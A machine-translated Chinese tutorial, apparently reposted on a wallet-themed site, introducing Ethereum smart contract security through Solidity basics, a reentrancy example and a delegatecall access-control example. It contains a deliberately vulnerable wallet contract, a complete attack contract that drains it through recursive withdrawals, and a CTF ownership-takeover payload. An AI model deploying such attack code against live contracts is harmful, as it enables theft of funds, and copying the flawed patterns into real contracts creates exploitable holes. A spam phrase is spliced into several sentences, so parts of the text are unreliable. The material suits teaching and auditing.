主页 > imtoken钱包下 > 以太坊智能合约安全简介(第 1 部分)

以太坊智能合约安全简介(第 1 部分)

imtoken钱包下 2023-12-31 05:11:58

作者的博客:

(注:本文分为两部分,下一部分链接到《以太坊智能合约安全介绍(上)》)

最近区块链漏洞应该不会太热。一些交易所用户被钓鱼,APIKEY 泄露。代币合约中的整数溢出漏洞导致代币归零。 MyEtherWallet 被 DNS 劫持,用户的 ETH 被盗。随着区块链安全事件的频繁爆发,越来越多的安全从业者将目标转向了区块链。经过一段时间的努力,我从以太坊智能合约的“青铜I”升到了“青铜III”。本文将从以太坊智能合约的一些特殊机制入手,详细分析已发现的各类漏洞。 ,对于每种漏洞类型,都会提供一个简单的合约代码来说明漏洞的原因和攻击方法。

在阅读本文的其余部分之前,我假设您已经对与以太坊智能合约相关的概念有所了解。如果您从开发人员的角度来看智能,它看起来像这样:

以太坊专门提供了一个叫做EVM的虚拟机供合约代码运行,同时也提供了一种面向合约的语言来加快开发者开发合约的速度。比如官方推荐使用最多的Solidity,就是一种语法类似于JavaScript的合约开发语言。开发者按照一定的业务逻辑编写合约代码并部署到以太坊,代码按照业务逻辑将数据记录在链上。以太坊实际上是一个应用生态平台。借助智能合约,我们可以开发各种应用程序并在以太坊上发布以供直接业务使用。以太坊/智能合约的概念请参考文档。

下面也以Solidity为例说明以太坊智能合约存在的一些安全问题。

我。智能合约开发 - Solidity

Solidity 的语法与 JavaSript 类似,一般很容易上手。用 Solidity 编写的简单合约代码如下

如果语法相关,建议你先看看这个教学系列(FQ)。先说一下我当初学习和复习以太坊智能合约时的困惑:

1.以太坊账户和智能合约的区别

以太坊账户有两种类型,外部账户和合约账户。外部帐户由一对公钥和私钥管理。该帐户包含以太币的余额。除了 Ether 的余额,合约账户也有特定的代码。预设的代码逻辑发送到外部账户或其他合约的合约地址。当消息或事务发生时调用和处理:

外部账户EOA

sol币会是下一个以太坊吗

合约账户

(这里留个问题:“合约账户也有公私钥对吗?如果有,是否允许直接用公私钥对控制账户的以太坊余额?”)

简单来说,合约账户是由外部账户或合约代码逻辑创建的。预先编写好的合约逻辑用于业务交互,没有其他方法可以直接操作合约账户或更改部署的合约代码。

2.代码执行限制

初次了解 Solidity 时需要注意的一些代码执行限制:

以太坊的设置是为了防止合约代码看起来像一个“无限循环”,增加了代码执行消耗的概念。合约代码部署到以太坊平台后,EVM执行代码时,每一步执行都会消耗一定量的Gas。气体可以看作是能量。一段代码逻辑可以假设为一套“组合技能”,而外部调用者在调用合约的某个函数时,会提供一定量的 Gas。如果气量大于这套“组合技能”所需的能量,就会执行成功。否则会因gas不足而出现out of gas的异常。状态回滚。

同时在Solidity中,一个函数中的递归调用栈(深度)不能超过1024层:

contract Some {
    function Loop() {
        Loop();
    }
}
// Loop() ->
//  Loop() ->
//    Loop() ->
//      ...
//      ... (must less than 1024)
//      ...
//        Loop()

3.后备函数——fallback()

在跟进 Solidity 的安全漏洞时,很大一部分与合约实例的回退功能有关。那么什么是回退功能呢?官方文档描述:

一份合约只能有一个未命名的函数。这个函数不能有参数,也不能返回任何东西。如果没有其他函数与给定的函数标识符匹配(或者根本没有提供数据),它将在调用合约时执行。

sol币会是下一个以太坊吗

回退函数在合约实例中表示为一个无参数无返回值的匿名函数:

那么fallback函数什么时候执行呢?

当外部账户或其他合约向合约地址发送以太币时;当外部账户或其他合约调用合约不存在的功能时;

注意:目前已知Solidity的大部分安全问题都涉及到回退功能

4.几种货币转账方式比较

Solidity .transfer()、.send() 和 . gas().call.vale()() 都可以用来将以太币发送到一个地址。它们之间的区别是:

.transfer()

.send()

.gas().call.value()()

注意:开发者需要根据不同的场景合理使用这些功能来实现转账功能。如果处理不完整,很可能漏洞会被攻击者利用。

例如,在早期,当许多合约使用 .后续代码流仍会执行。

sol币会是下一个以太坊吗

5. require 和 assert、revert 和 throw

require和assert都可以用来检查条件,不满足条件时抛出异常,但是在使用中require更倾向于代码逻辑的健壮性检查;当需要确认一些不应该发生的异常时,需要使用assert来判断。

revert and throw都标记错误和恢复当前调用,但是Solidity开始在0.4.10中引入revert()、assert()、require()函数,以及用法和原文扔;相当于revert()。

这些功能的详细解释可以参考文章。

二。漏洞现场修复

历史上关于以太坊合约的安全事件有很多,这些安全事件在当时影响巨大。合约无法继续运行,将造成数千万美元的损失。在金融领域,错误是不允许的,但从侧面看,正是这些安全事件的出现,促使了以太坊或区块链安全的发展,越来越多的人开始关注区块链。安全、合约安全、协议安全等

所以,经过一段时间的研究,记录一下我了解的关于以太坊合约的几个漏洞,有兴趣的可以进一步交流。

已知的常见 Solidity 漏洞类型如下:

重入 - 重入 访问控制 - 访问控制 算术问题 - 算术问题(整数溢出和溢出) 低级调用的未经检查的返回值 - 不安全的函数调用返回值没有严格判断拒绝服务 - 拒绝服务坏随机性 - 可预测随机处理 Front RunningTime 操作Short Address Attack - Short Address Attack Unknown Unknowns - Other unknowns

下面我将按照原理->示例(代码)->攻击来解释每类漏洞的原理和攻击方法。

1. 重入

Reentrancy,刚开始看这种类型的漏洞时,我是比较困惑的,因为从字面上看,“reentrancy”其实可以简单理解为“recursion”,那么“recursive”调用是很常见的传统开发语言中的逻辑处理方式,为什么会是Solidity的一个漏洞呢?如上部分所说,以太坊智能合约有一些固有的执行限制,比如Gas Limit,看下面的代码:

sol币会是下一个以太坊吗

pragma solidity ^0.4.10;
contract IDMoney {
    address owner;
    mapping (address => uint256) balances;  // 记录每个打币者存入的资产情况
    event withdrawLog(address, uint256);
    function IDMoney() { owner = msg.sender; }
    function deposit() payable { balances[msg.sender] += msg.value; }
    function withdraw(address to, uint256 amount) {
        require(balances[msg.sender] > amount);
        require(this.balance > amount);
        withdrawLog(to, amount);  // 打印日志,方便观察 reentrancy
        to.call.value(amount)();  // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部
        balances[msg.sender] -= amount;
    }
    function balanceOf() returns (uint256) { return balances[msg.sender]; }
    function balanceOf(address addr) returns (uint256) { return balances[addr]; }
}

编写此代码是为了说明重入漏洞的原理sol币会是下一个以太坊吗,并实现了一个类似于公共钱包的合约。任何人都可以将对应的Ether存入IDMoney,合约会在合约中记录每个账户的资产(Ether),账户可以在本合约中查询自己/他人的余额,也可以提取自己合约中的Ether直接提现转入其他账户。

刚接触以太坊智能合约的人在分析上述代码时,应该会认为是比较正常的代码逻辑,似乎没有问题。但正如我之前所说,以太坊智能合约漏洞的出现与其自身的语法(语言)特性有很大关系。这里重点介绍withdraw(address, uint256)函数。合约提款时,通过require判断提现账户是否有对应资产,以及合约是否有足够的资金提现。(有点类似于交易所的提现判断),然后使用to.call.value(amount)();发送Ether,处理后相应修改用户的资产数据。

仔细阅读第一页 有I.3的同学一定发现,这里的转币方法使用了call.value()()的方法,这和send()和send()这两个功能相似的函数是不同的transfer()、call.value()()会将剩余的Gas全部交给外部调用(回退函数),而send()和transfer()将只有2300 Gas来处理转币操作。如果在进行以太币交易时,目标地址是合约地址,则默认调用合约的fallback函数(如果存在,如果没有转币,则转账失败,注意payable修改)。

上面说了这么多sol币会是下一个以太坊吗,很明显,在提币或者合约提币的过程中,存在递归提币问题(因为提币后资产被修改了)。攻击者可以部署包含恶意递归调用的合约,以提取公共钱包合约中的所有以太币。流程大致是这样的:

(读者可以根据上面的IDMoney合约代码直接编写自己的攻击合约代码,然后在测试环境中进行模拟)

我实现的攻击合约代码如下:

contract Attack {
    address owner;
    address victim;
    modifier ownerOnly { require(owner == msg.sender); _; }
    function Attack() payable { owner = msg.sender; }
    // 设置已部署的 IDMoney 合约实例地址
    function setVictim(address target) ownerOnly { victim = target; }
    // deposit Ether to IDMoney deployed
    function step1(uint256 amount) ownerOnly payable {
        if (this.balance > amount) {
            victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    // withdraw Ether from IDMoney deployed
    function step2(uint256 amount) ownerOnly {
        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() ownerOnly {
        selfdestruct(owner);
    }
    function startAttack(uint256 amount) ownerOnly {
        step1(amount);
        step2(amount / 2);
    }
    function () payable {
        if (msg.sender == victim) {
            // 再次尝试调用 IDCoin 的 sendCoin 函数,递归转币
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
        }
    }
}

使用remix-ide模拟攻击过程:

@ >

著名的导致以太坊硬分叉 (ETH/ETC) 的 DAO 事件与重入漏洞有关,导致超过 600,000 ETH 被盗。

sol币会是下一个以太坊吗

2.访问控制

访问控制,在 Solidity 中编写合约代码时,有几个默认变量或函数访问域关键字:private、public、external 和 internal。也就是说,默认可见状态为public,合约实例变量默认可见状态为private。

除了Solidity中的常规变量和函数可见性描述外,这里还有两种类型的基础变量需要提及。层调用方法call和delegatecall:

简单的图形表示是:

合约A调用外部合约B调用方式func()函数,外部合约B上下文执行func()后,继续返回A合约上下文继续执行;而当A被delegatecall调用时,相当于将外部合约B的func()代码(在其函数中涉及的变量或函数都需要存在)复制到A上下文空间中执行。

以下代码是OpenZeppelin CTF中的标题:

pragma solidity ^0.4.10;
contract Delegate {
    address public owner;
    function Delegate(address _owner) {
        owner = _owner;
    }
    function pwn() {
        owner = msg.sender;
    }
}
contract Delegation {
    address public owner;
    Delegate delegate;
    function Delegation(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }
    function () {
        if (delegate.delegatecall(msg.data)) {
            this;
        }
    }
}

仔细分析代码,合约委托在fallback函数中使用了msg.data Delegate实例进行了delegatecall()调用。 msg.data 是可控的。这里,攻击者可以直接使用bytes4(keccak256("pwn()"))通过delegatecall()将部署的Delegation owner变为攻击者自己(msg.sender)。

使用remix-ide模拟攻击过程:

2017年下半年智能合约钱包Parity被盗授权与delegatecall有关。

(注:本文上半部分主要讲解以太坊智能合约安全的研究基础和两类漏洞原理的实例。在《以太坊智能合约安全入门(上)》中,我将完成其他一些方面。对类漏洞的原理进行了说明,还有“自省”一节总结了我在学习和研究以太坊智能合约安全性时遇到的细节)

参考链接:

Paper